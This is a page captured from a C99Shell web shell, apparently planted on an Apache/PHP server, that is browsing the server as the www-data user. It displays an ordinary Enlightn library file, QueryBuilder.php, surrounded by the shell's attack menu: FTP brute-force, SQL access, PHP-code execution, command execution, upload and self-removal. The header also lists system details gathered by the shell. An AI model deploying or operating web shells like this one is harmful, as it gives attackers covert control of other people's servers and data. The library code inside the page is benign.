!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/enlightn/enlightn/src/Inspection/   drwxr-xr-x
Free 13.23 GB of 57.97 GB (22.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     QueryBuilder.php (4.01 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Enlightn\Enlightn\Inspection;

use 
Enlightn\Enlightn\Inspection\NodeVisitors\ClassInstantiationVisitor;
use 
Enlightn\Enlightn\Inspection\NodeVisitors\EvalExpressionVisitor;
use 
Enlightn\Enlightn\Inspection\NodeVisitors\ExitStatementVisitor;
use 
Enlightn\Enlightn\Inspection\NodeVisitors\FunctionCallVisitor;
use 
Enlightn\Enlightn\Inspection\NodeVisitors\GlobalStatementVisitor;
use 
Enlightn\Enlightn\Inspection\NodeVisitors\GlobalVariableVisitor;
use 
Enlightn\Enlightn\Inspection\NodeVisitors\StaticMethodCallVisitor;
use 
Enlightn\Enlightn\Inspection\NodeVisitors\UsesClassVisitor;
use 
PhpParser\NodeTraverser;
use 
PhpParser\NodeVisitor\NameResolver;

class 
QueryBuilder
{
    protected 
$traverser;

    protected 
$nodeVisitors = [];

    public function 
__construct()
    {
        
$this->makeTraverser();
    }

    public static function 
create()
    {
        return new static;
    }

    public function 
makeTraverser()
    {
        
$this->traverser = new NodeTraverser();
        
$this->traverser->addVisitor(new NameResolver());
    }

    public function 
hasStaticCall(string $classstring $methodName, array $parameters = [])
    {
        return 
$this->addVisitor(
            new 
StaticMethodCallVisitor($class$methodNametrue$parameters)
        );
    }

    public function 
doesntHaveStaticCall(string $classstring $methodName, array $parameters = [])
    {
        return 
$this->addVisitor(
            new 
StaticMethodCallVisitor($class$methodNamefalse$parameters)
        );
    }

    public function 
hasFunctionCall(string $functionName, array $parameters = [])
    {
        return 
$this->addVisitor(
            new 
FunctionCallVisitor($functionNametrue$parameters)
        );
    }

    public function 
doesntHaveFunctionCall(string $functionName, array $parameters = [])
    {
        return 
$this->addVisitor(
            new 
FunctionCallVisitor($functionNamefalse$parameters)
        );
    }

    public function 
doesntHaveGlobalVariable(string $variableName)
    {
        return 
$this->addVisitor(new GlobalVariableVisitor($variableNamefalse));
    }

    public function 
doesntHaveGlobalStatement()
    {
        return 
$this->addVisitor(new GlobalStatementVisitor(false));
    }

    public function 
doesntHaveExitStatement()
    {
        return 
$this->addVisitor(new ExitStatementVisitor(false));
    }

    public function 
doesntHaveEvalExpression()
    {
        return 
$this->addVisitor(new EvalExpressionVisitor(false));
    }

    public function 
usesClass(string $class)
    {
        return 
$this->addVisitor(
            new 
UsesClassVisitor($classtrue)
        );
    }

    public function 
doesntUseClass(string $class)
    {
        return 
$this->addVisitor(
            new 
UsesClassVisitor($classfalse)
        );
    }

    public function 
instantiates(string $class, array $parameters = [])
    {
        return 
$this->addVisitor(
            new 
ClassInstantiationVisitor($classtrue$parameters)
        );
    }

    public function 
doesntInstantiate(string $class, array $parameters = [])
    {
        return 
$this->addVisitor(
            new 
ClassInstantiationVisitor($classfalse$parameters)
        );
    }

    public function 
getErrors($nodes)
    {
        
$this->flush();

        
$this->traverser->traverse($nodes);

        return 
$this->errorLineNumbers();
    }

    public function 
flush()
    {
        
collect($this->nodeVisitors)->each(function ($visitor) {
            
$visitor->flush();
        });
    }

    public function 
errorLineNumbers()
    {
        return 
collect($this->nodeVisitors)->map(function ($visitor) {
            return 
$visitor->passed() ? [] : $visitor->getLineNumbers();
        })->
flatten()->unique()->toArray();
    }

    public function 
passed()
    {
        return 
collect($this->nodeVisitors)->every(function ($visitor) {
            return 
$visitor->passed();
        });
    }

    protected function 
addVisitor($visitor)
    {
        
$this->nodeVisitors[] = $visitor;

        
$this->traverser->addVisitor($visitor);

        return 
$this;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0162 ]--